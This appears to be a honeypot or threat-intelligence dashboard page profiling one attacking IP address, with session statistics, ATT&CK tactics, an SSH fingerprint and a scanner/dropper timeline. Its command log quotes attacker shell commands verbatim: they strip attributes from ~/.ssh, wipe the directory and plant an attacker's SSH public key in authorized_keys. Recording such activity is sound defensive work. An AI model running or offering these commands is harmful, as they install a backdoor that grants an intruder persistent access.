← Back to feed
153.0.158.118
Location
🇨🇳 CN
ASN
AS4837 · CHINA UNICOM China169 Backbone
Cloud Provider
—
Total Events
49
Above average by volume
Agent Count
1
First / Last Seen
2026-08-12 16:06 — 2026-08-12 17:20
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Discovery
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
16 (1 with login)
Avg Depth Score
0.21
Commands Executed
3
Files Downloaded
1
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
add3615bb4e9
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Scanner
90bdd69f40b7
15%
Loading events...
Scanner
14d9f9e6c0aa
15%
Loading events...
Scanner
c5fe4bd4d744
15%
Loading events...
Scanner
e3aabad66d73
15%
Loading events...
Scanner
594cd3bc8b53
15%
Loading events...
Scanner
4fb6df0b5bbf
15%
Loading events...
Scanner
d6d953e4fbb0
15%
Loading events...
Scanner
4277b35de145
15%
Loading events...
Scanner
66836b06c9e3
15%
Loading events...
Scanner
842edf514cc8
15%
Loading events...
Scanner
e557e09fb5a8
15%
Loading events...
Scanner
b1d6e97b2602
15%
Loading events...
Scanner
ea1d98c7f79e
15%
Loading events...